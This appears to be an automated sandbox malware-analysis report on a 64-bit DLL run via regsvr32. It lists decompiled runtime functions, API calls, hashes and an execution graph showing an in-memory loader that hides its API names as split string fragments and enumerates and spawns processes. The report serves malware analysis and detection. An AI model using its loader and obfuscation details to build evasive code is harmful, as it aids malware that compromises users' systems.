                                                                        • FlsGetValue.KERNEL32(?,?,?,100022C5,?,?,?,10001127), ref: 10002BE4
                                                                        • GetModuleHandleA.KERNEL32(?,?,?,100022C5,?,?,?,10001127), ref: 10002BFF
                                                                        • GetProcAddress.KERNEL32(?,?,?,100022C5,?,?,?,10001127), ref: 10002C14
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressHandleModuleProcValue
                                                                        • String ID: DecodePointer$KERNEL32.DLL
                                                                        • API String ID: 144840598-629428536
                                                                        • Opcode ID: 630afae6c3e340b235923ee7ea95c203b1acd9e24a554886328fd69058e1ff38
                                                                        • Instruction ID: 93d2ac2b9147f54f8f67c798a842454e23fec414776f4c68377a76d7d6e363c8
                                                                        • Opcode Fuzzy Hash: 630afae6c3e340b235923ee7ea95c203b1acd9e24a554886328fd69058e1ff38
                                                                        • Instruction Fuzzy Hash: DDF01C30742644D1FE4ECB55A8947A823A1EB4DBD0F585524CD6E063A4EF78D8D5D310
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002B70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • FlsGetValue.KERNEL32(?,?,?,?,10004E5D), ref: 10002B7F
                                                                        • GetModuleHandleA.KERNEL32(?,?,?,?,10004E5D), ref: 10002B9A
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,10004E5D), ref: 10002BAF
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressHandleModuleProcValue
                                                                        • String ID: EncodePointer$KERNEL32.DLL
                                                                        • API String ID: 144840598-3682587211
                                                                        • Opcode ID: 57f37162e671c6e6ee220f1401bd941412679b06ede43f5d6f46a5c5811cae70
                                                                        • Instruction ID: 7fcccb131f220e962ecc0d2ab645bcde800850910fa3a5bebbe1a919209cc4f0
                                                                        • Opcode Fuzzy Hash: 57f37162e671c6e6ee220f1401bd941412679b06ede43f5d6f46a5c5811cae70
                                                                        • Instruction Fuzzy Hash: 1AF01530B0260092FE4E8B51A8843E833E1AB48BD0F9585A8CA4E027A4DFBCD4C58311
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001A70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleHandleA.KERNEL32(?,?,00000000,10004531,?,?,?,?,10004627), ref: 10001A7F
                                                                        • GetProcAddress.KERNEL32(?,?,00000000,10004531,?,?,?,?,10004627), ref: 10001A94
                                                                        • ExitProcess.KERNEL32 ref: 10001AA5
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressExitHandleModuleProcProcess
                                                                        • String ID: CorExitProcess$mscoree.dll
                                                                        • API String ID: 75539706-1276376045
                                                                        • Opcode ID: 491af63256e6f3917721d0937f72bf3337a9dddb2b6a624930b9ac62755b8cb5
                                                                        • Instruction ID: 3e75cdf0bd7be59674b91d025cf4a6df65e3ad100f1d3252af48b4ed1d083b5a
                                                                        • Opcode Fuzzy Hash: 491af63256e6f3917721d0937f72bf3337a9dddb2b6a624930b9ac62755b8cb5
                                                                        • Instruction Fuzzy Hash: 7FE0E270712604A2EF0E9B60AC943E823A1BF8CB80F446428899E06360EEB8C888C301
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002E50 Relevance: 7.5, APIs: 5, Instructions: 42threadCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 30%
                                                                        			E10002E50(long* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, void* __rsi, void* __rbp, void* __r8, void* __r12, long long _a24, long long _a32) {
				long _t8;
				long* _t23;
				long* _t32;

				_t35 = __rsi;
				_t33 = __rdi;
				_t23 = __rax;
				_a24 = __rbx;
				_a32 = __rdi;
				_t8 = GetLastError();
				__imp__FlsGetValue();
				_t26 = __rax;
				if(__rax == 0) {
					_t8 = E10003210(__rax, __rax, __rcx, __rdx, __rdi, __rsi, __rbp, __r12);
					_t26 = _t23;
					if(_t23 != 0) {
						_t32 = _t23;
						__imp__FlsSetValue();
						if(_t8 == 0) {
							_t8 = E10001140(_t23, _t26);
						} else {
							E10002CA0(_t23, _t26, _t26, _t32, _t33, _t35);
							_t8 = GetCurrentThreadId();
							_t26[2] = 0xffffffff;
							 *_t26 = _t8;
						}
					}
				}
				SetLastError();
				if(_t26 == 0) {
					E10001A40();
				}
				return _t8;
			}






                                                                        0x10002e50
                                                                        0x10002e50
                                                                        0x10002e50
                                                                        0x10002e54
                                                                        0x10002e59
                                                                        0x10002e5e
                                                                        0x10002e6c
                                                                        0x10002e75
                                                                        0x10002e78
                                                                        0x10002e82
                                                                        0x10002e8a
                                                                        0x10002e8d
                                                                        0x10002e95
                                                                        0x10002e98
                                                                        0x10002ea0
                                                                        0x10002ec1
                                                                        0x10002ea2
                                                                        0x10002ea7
                                                                        0x10002eac
                                                                        0x10002eb2
                                                                        0x10002eba
                                                                        0x10002eba
                                                                        0x10002ea0
                                                                        0x10002e8d
                                                                        0x10002eca
                                                                        0x10002ed8
                                                                        0x10002edd
                                                                        0x10002edd
                                                                        0x10002eee

                                                                        APIs
                                                                        • GetLastError.KERNEL32(?,?,?,?,10007D22,?,?,?,?,?,?,?,?,1000632E), ref: 10002E5E
                                                                        • FlsGetValue.KERNEL32(?,?,?,?,10007D22,?,?,?,?,?,?,?,?,1000632E), ref: 10002E6C
                                                                        • SetLastError.KERNEL32(?,?,?,?,10007D22,?,?,?,?,?,?,?,?,1000632E), ref: 10002ECA
                                                                          • Part of subcall function 10003210: Sleep.KERNEL32(?,?,?,?,10002DE7,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10003260
                                                                        • FlsSetValue.KERNEL32(?,?,?,?,10007D22,?,?,?,?,?,?,?,?,1000632E), ref: 10002E98
                                                                          • Part of subcall function 10002CA0: GetModuleHandleA.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CC0
                                                                          • Part of subcall function 10002CA0: GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CED
                                                                          • Part of subcall function 10002CA0: GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002D04
                                                                        • GetCurrentThreadId.KERNEL32 ref: 10002EAC
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressErrorLastProcValue$CurrentHandleModuleSleepThread
                                                                        • String ID:
                                                                        • API String ID: 1834866065-0
                                                                        • Opcode ID: 15ef38bef3e30f7958d8c49e8d7feb87762038ff59f98777e5fb61754d563b5f
                                                                        • Instruction ID: 3c892d5c08781cf668f477cf39e2f1956eccac594aa9869e169fe21f6f52c4f6
                                                                        • Opcode Fuzzy Hash: 15ef38bef3e30f7958d8c49e8d7feb87762038ff59f98777e5fb61754d563b5f
                                                                        • Instruction Fuzzy Hash: 0101403520174182EB0ADF61E84439DA3A1F78DBE4F684628DB5A47398DF7CE4858710
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002DB0 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 27%
                                                                        			E10002DB0(long* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, void* __rsi, void* __rbp, void* __r8, void* __r12, long long _a24, long long _a32) {
				long _t7;
				long* _t20;
				long* _t29;

				_t32 = __rsi;
				_t30 = __rdi;
				_t20 = __rax;
				_a24 = __rbx;
				_a32 = __rdi;
				_t7 = GetLastError();
				__imp__FlsGetValue();
				_t23 = __rax;
				if(__rax == 0) {
					_t7 = E10003210(__rax, __rax, __rcx, __rdx, __rdi, __rsi, __rbp, __r12);
					_t23 = _t20;
					if(_t20 != 0) {
						_t29 = _t20;
						__imp__FlsSetValue();
						if(_t7 == 0) {
							_t7 = E10001140(_t20, _t23);
						} else {
							E10002CA0(_t20, _t23, _t23, _t29, _t30, _t32);
							_t7 = GetCurrentThreadId();
							_t23[2] = 0xffffffff;
							 *_t23 = _t7;
						}
					}
				}
				SetLastError();
				return _t7;
			}






                                                                        0x10002db0
                                                                        0x10002db0
                                                                        0x10002db0
                                                                        0x10002db4
                                                                        0x10002db9
                                                                        0x10002dbe
                                                                        0x10002dcc
                                                                        0x10002dd5
                                                                        0x10002dd8
                                                                        0x10002de2
                                                                        0x10002dea
                                                                        0x10002ded
                                                                        0x10002df5
                                                                        0x10002df8
                                                                        0x10002e00
                                                                        0x10002e21
                                                                        0x10002e02
                                                                        0x10002e07
                                                                        0x10002e0c
                                                                        0x10002e12
                                                                        0x10002e1a
                                                                        0x10002e1a
                                                                        0x10002e00
                                                                        0x10002ded
                                                                        0x10002e2a
                                                                        0x10002e41

                                                                        APIs
                                                                        • GetLastError.KERNEL32(?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002DBE
                                                                        • FlsGetValue.KERNEL32(?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002DCC
                                                                        • SetLastError.KERNEL32(?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002E2A
                                                                          • Part of subcall function 10003210: Sleep.KERNEL32(?,?,?,?,10002DE7,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10003260
                                                                        • FlsSetValue.KERNEL32(?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002DF8
                                                                          • Part of subcall function 10002CA0: GetModuleHandleA.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CC0
                                                                          • Part of subcall function 10002CA0: GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CED
                                                                          • Part of subcall function 10002CA0: GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002D04
                                                                        • GetCurrentThreadId.KERNEL32 ref: 10002E0C
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressErrorLastProcValue$CurrentHandleModuleSleepThread
                                                                        • String ID:
                                                                        • API String ID: 1834866065-0
                                                                        • Opcode ID: 63b5b1eacc861d56e345dca3f954bb467b21bfe123f18f5b2251bf58cbe15070
                                                                        • Instruction ID: a3312c5d5a660c070bb0d2dd7e65967913f26c55e190c8576dbad0229da22373
                                                                        • Opcode Fuzzy Hash: 63b5b1eacc861d56e345dca3f954bb467b21bfe123f18f5b2251bf58cbe15070
                                                                        • Instruction Fuzzy Hash: B3014F3520174182EB0ADF26E88439DA3A1F78DBE4F584628DF9A43398DF7CD4858710
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10004D00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 55%
                                                                        			E10004D00(void* __edx, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, long long __r12, long long _a8, long long _a16, long long _a24, long long _a32) {
				intOrPtr _v20;
				char _v24;
				long long _v40;
				_Unknown_base(*)()* _t17;
				intOrPtr _t19;
				intOrPtr _t28;
				long long _t34;
				long long* _t36;
				long long _t39;
				void* _t45;

				_t45 = __rdx;
				_t34 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_a32 = __r12;
				_v24 = 0;
				_t39 =  *0x10017e40; // 0x74bf5cc00007ff86
				E10002BD0(_t17, __rax, _t39);
				_t36 = _t34;
				if(_t34 == 0) {
					if(E10001B20(_t34,  &_v24) != 0) {
						_v40 = __rdi;
						r9d = 0;
						r8d = 0;
						_t21 = E10004660(0, _t45, __r8);
					}
					if(_v24 != 1) {
						_t21 = GetModuleHandleA();
						if(_t34 == 0) {
							_t36 = 0x10004ce0;
						} else {
							_t21 = GetProcAddress();
							_t36 = _t34;
							if(_t34 == 0) {
								_t36 = 0x10004ce0;
							}
						}
					} else {
						_t36 = 0x10004ce0;
					}
					E10002B00(_t21, _t34, _t36);
					 *0x10017e40 = _t34;
				}
				_t19 =  *_t36();
				_t28 = _t19;
				_v20 = _t19;
				return _t28;
			}













                                                                        0x10004d00
                                                                        0x10004d00
                                                                        0x10004d04
                                                                        0x10004d09
                                                                        0x10004d0e
                                                                        0x10004d13
                                                                        0x10004d1f
                                                                        0x10004d23
                                                                        0x10004d2a
                                                                        0x10004d2f
                                                                        0x10004d35
                                                                        0x10004d43
                                                                        0x10004d45
                                                                        0x10004d4a
                                                                        0x10004d4d
                                                                        0x10004d54
                                                                        0x10004d54
                                                                        0x10004d5e
                                                                        0x10004d70
                                                                        0x10004d79
                                                                        0x10004d9c
                                                                        0x10004d7b
                                                                        0x10004d85
                                                                        0x10004d8b
                                                                        0x10004d91
                                                                        0x10004d93
                                                                        0x10004d93
                                                                        0x10004d91
                                                                        0x10004d60
                                                                        0x10004d60
                                                                        0x10004d60
                                                                        0x10004da6
                                                                        0x10004dab
                                                                        0x10004dab
                                                                        0x10004db7
                                                                        0x10004db9
                                                                        0x10004dbb
                                                                        0x10004df3

                                                                        APIs
                                                                          • Part of subcall function 10002BD0: FlsGetValue.KERNEL32(?,?,?,100022C5,?,?,?,10001127), ref: 10002BE4
                                                                          • Part of subcall function 10004660: RtlCaptureContext.KERNEL32 ref: 10004671
                                                                          • Part of subcall function 10004660: IsDebuggerPresent.KERNEL32 ref: 100046B5
                                                                          • Part of subcall function 10004660: SetUnhandledExceptionFilter.KERNEL32 ref: 100046BF
                                                                          • Part of subcall function 10004660: UnhandledExceptionFilter.KERNEL32 ref: 100046CA
                                                                          • Part of subcall function 10004660: GetCurrentProcess.KERNEL32 ref: 100046E0
                                                                          • Part of subcall function 10004660: TerminateProcess.KERNEL32 ref: 100046EE
                                                                        • GetModuleHandleA.KERNEL32 ref: 10004D70
                                                                        • GetProcAddress.KERNEL32 ref: 10004D85
                                                                        Strings
                                                                        • kernel32.dll, xrefs: 10004D69
                                                                        • InitializeCriticalSectionAndSpinCount, xrefs: 10004D7B
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterProcessUnhandled$AddressCaptureContextCurrentDebuggerHandleModulePresentProcTerminateValue
                                                                        • String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
                                                                        • API String ID: 1369895830-3733552308
                                                                        • Opcode ID: 9a6f2174a759ebaac3ae3b330ec1d3098726b5a2dbe88fe420565d38a1d52214
                                                                        • Instruction ID: 15d7eb252c90966d9f040458fe061a22ec57277e20609f5379fbab43869ff135
                                                                        • Opcode Fuzzy Hash: 9a6f2174a759ebaac3ae3b330ec1d3098726b5a2dbe88fe420565d38a1d52214
                                                                        • Instruction Fuzzy Hash: FE215C75615B4182EB45DB52B85078AB7E5FB887C0F8A1026EE8D83B2CEFB8D455CB04
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10008220 Relevance: 6.0, APIs: 4, Instructions: 36windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Window$Destroy$MessagePostProcQuit
                                                                        • String ID:
                                                                        • API String ID: 3418209398-0
                                                                        • Opcode ID: 8936f82435342b57f1fdb789f0b388cf360f2e66db4c7fd74d1456ec1806d6ff
                                                                        • Instruction ID: b5c3d3051ca2ed4f9c3330e95a1c072aa3e36da79ac59157892e79a2f6da0cb4
                                                                        • Opcode Fuzzy Hash: 8936f82435342b57f1fdb789f0b388cf360f2e66db4c7fd74d1456ec1806d6ff
                                                                        • Instruction Fuzzy Hash: 2E01C536518A44C6E625DB50E84435EB7B0F7C97D4F200116EAC982A38DB7CC6A9CB05
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Execution Graph

                                                                        Execution Coverage:12%
                                                                        Dynamic/Decrypted Code Coverage:100%
                                                                        Signature Coverage:0%
                                                                        Total number of Nodes:64
                                                                        Total number of Limit Nodes:5
                                                                        execution_graph 3690 18001e4a8 3691 18001e4e8 3690->3691 3694 180017414 3691->3694 3693 18001e6b6 3696 1800174b5 3694->3696 3695 1800175e6 CreateProcessW 3695->3693 3696->3695 3697 1570000 3698 1570183 3697->3698 3699 157043e VirtualAlloc 3698->3699 3703 1570462 3699->3703 3700 1570a7b 3701 1570531 GetNativeSystemInfo 3701->3700 3702 157056d VirtualAlloc 3701->3702 3707 157058b 3702->3707 3703->3700 3703->3701 3704 1570a00 3704->3700 3705 1570a56 RtlAddFunctionTable 3704->3705 3705->3700 3706 15709d9 VirtualProtect 3706->3707 3707->3704 3707->3706 3707->3707 3708 1800093ac 3715 1800093f7 3708->3715 3709 18000aeb4 3736 18001f764 3709->3736 3711 18000ae75 3715->3709 3715->3711 3717 180013e18 3715->3717 3721 18001762c 3715->3721 3725 1800193e0 3715->3725 3729 180026b40 3715->3729 3719 180013e55 3717->3719 3720 180013f91 3719->3720 3740 1800118e0 3719->3740 3720->3715 3723 180017656 3721->3723 3722 180017848 3722->3715 3723->3722 3724 1800118e0 Process32NextW 3723->3724 3724->3723 3728 180019433 3725->3728 3726 18001970e 3726->3715 3727 1800118e0 Process32NextW 3727->3728 3728->3726 3728->3727 3730 180026b62 3729->3730 3731 180026f19 3730->3731 3732 180026f22 3730->3732 3747 180028ee8 3730->3747 3751 18000c458 3730->3751 3755 18001b3b4 3731->3755 3732->3715 3739 18001f798 3736->3739 3737 18001e4a8 CreateProcessW 3738 18001fc56 3737->3738 3738->3711 3739->3737 3739->3738 3743 18001a804 3740->3743 3742 1800119fe 3742->3719 3746 18001a848 3743->3746 3744 18001ab06 Process32NextW 3744->3746 3745 18001ab3a 3745->3742 3746->3744 3746->3745 3750 180028f21 3747->3750 3749 180029846 3749->3730 3750->3749 3759 18001e4a8 3750->3759 3752 18000c49e 3751->3752 3753 18001e4a8 CreateProcessW 3752->3753 3754 18000cb5b 3752->3754 3753->3754 3754->3730 3758 180028ee8 3755->3758 3756 18001e4a8 CreateProcessW 3756->3758 3757 180029846 3757->3732 3758->3756 3758->3757 3760 18001e4e8 3759->3760 3761 180017414 CreateProcessW 3760->3761 3762 18001e6b6 3761->3762 3762->3750 3763 1800118e0 3764 18001a804 Process32NextW 3763->3764 3765 1800119fe 3764->3765

                                                                        Executed Functions

                                                                        Function 01570000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 1570000-1570460 call 1570aa8 * 2 VirtualAlloc 22 1570462-1570466 0->22 23 157048a-1570494 0->23 24 1570468-1570488 22->24 26 1570a91-1570aa6 23->26 27 157049a-157049e 23->27 24->23 24->24 27->26 28 15704a4-15704a8 27->28 28->26 29 15704ae-15704b2 28->29 29->26 30 15704b8-15704bf 29->30 30->26 31 15704c5-15704d2 30->31 31->26 32 15704d8-15704e1 31->32 32->26 33 15704e7-15704f4 32->33 33->26 34 15704fa-1570507 33->34 35 1570531-1570567 GetNativeSystemInfo 34->35 36 1570509-1570511 34->36 35->26 38 157056d-1570589 VirtualAlloc 35->38 37 1570513-1570518 36->37 39 1570521 37->39 40 157051a-157051f 37->40 41 15705a0-15705ac 38->41 42 157058b-157059e 38->42 43 1570523-157052f 39->43 40->43 44 15705af-15705b2 41->44 42->41 43->35 43->37 46 15705b4-15705bf 44->46 47 15705c1-15705db 44->47 46->44 48 15705dd-15705e2 47->48 49 157061b-1570622 47->49 50 15705e4-15705ea 48->50 51 15706db-15706e2 49->51 52 1570628-157062f 49->52 53 15705ec-1570609 50->53 54 157060b-1570619 50->54 56 1570864-157086b 51->56 57 15706e8-15706f9 51->57 52->51 55 1570635-1570642 52->55 53->53 53->54 54->49 54->50 55->51 60 1570648-157064f 55->60 58 1570917-1570929 56->58 59 1570871-157087f 56->59 61 1570702-1570705 57->61 62 1570a07-1570a1a 58->62 63 157092f-1570937 58->63 64 157090e-1570911 59->64 65 1570654-1570658 60->65 66 1570707-157070a 61->66 67 15706fb-15706ff 61->67 90 1570a40-1570a4a 62->90 91 1570a1c-1570a27 62->91 69 157093b-157093f 63->69 64->58 68 1570884-15708a9 64->68 70 15706c0-15706ca 65->70 71 157070c-157071d 66->71 72 1570788-157078e 66->72 67->61 95 1570907-157090c 68->95 96 15708ab-15708b1 68->96 75 1570945-157095a 69->75 76 15709ec-15709fa 69->76 73 15706cc-15706d2 70->73 74 157065a-1570669 70->74 77 1570794-15707a2 71->77 78 157071f-1570720 71->78 72->77 73->65 82 15706d4-15706d5 73->82 86 157066b-1570678 74->86 87 157067a-157067e 74->87 84 157095c-157095e 75->84 85 157097b-157097d 75->85 76->69 88 1570a00-1570a01 76->88 80 157085d-157085e 77->80 81 15707a8 77->81 89 1570722-1570784 78->89 80->56 92 15707ae-15707d4 81->92 82->51 97 1570960-157096c 84->97 98 157096e-1570979 84->98 100 15709a2-15709a4 85->100 101 157097f-1570981 85->101 99 15706bd-15706be 86->99 102 1570680-157068a 87->102 103 157068c-1570690 87->103 88->62 89->89 104 1570786 89->104 93 1570a4c-1570a54 90->93 94 1570a7b-1570a8e 90->94 105 1570a38-1570a3e 91->105 127 15707d6-15707d9 92->127 128 1570835-1570839 92->128 93->94 107 1570a56-1570a79 RtlAddFunctionTable 93->107 94->26 95->64 116 15708b3-15708b9 96->116 117 15708bb-15708c8 96->117 108 15709be-15709bf 97->108 98->108 99->70 114 15709a6-15709aa 100->114 115 15709ac-15709bb 100->115 109 1570983-1570987 101->109 110 1570989-157098b 101->110 111 15706b6-15706ba 102->111 112 15706a5-15706a9 103->112 113 1570692-15706a3 103->113 104->77 105->90 106 1570a29-1570a35 105->106 106->105 107->94 122 15709c5-15709cb 108->122 109->108 110->100 120 157098d-157098f 110->120 111->99 112->99 121 15706ab-15706b3 112->121 113->111 114->108 115->108 123 15708ea-15708fe 116->123 124 15708d3-15708e5 117->124 125 15708ca-15708d1 117->125 129 1570991-1570997 120->129 130 1570999-15709a0 120->130 121->111 131 15709cd-15709d3 122->131 132 15709d9-15709e9 VirtualProtect 122->132 123->95 138 1570900-1570905 123->138 124->123 125->124 125->125 133 15707e3-15707f0 127->133 134 15707db-15707e1 127->134 135 1570844-1570850 128->135 136 157083b 128->136 129->108 130->122 131->132 132->76 140 15707f2-15707f9 133->140 141 15707fb-157080d 133->141 139 1570812-157082c 134->139 135->92 142 1570856-1570857 135->142 136->135 138->96 139->128 144 157082e-1570833 139->144 140->140 140->141 141->139 142->80 144->127
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.479432617.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1570000_regsvr32.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: e2232b4e7ff45073c6500e94865d205a8fb59d93aa3a7a0eb4387a3df16ab884
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: B472E430618B488FDB29DF18D8866BEB7E1FB99305F14462DE88BC7251DB34E542CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001FC70 Relevance: 4.3, Strings: 3, Instructions: 537COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.479882020.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_180001000_regsvr32.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X$<?xA$`_v
                                                                        • API String ID: 0-322589193
                                                                        • Opcode ID: 6b70401809f5a4e380f0709831ac7f15e8a4fc17e6b3291d5bd7555e7f7de519
                                                                        • Instruction ID: 3fab42d1854da7c17102c12455d265c84b1f7664e83bb041237185e548ee46d4
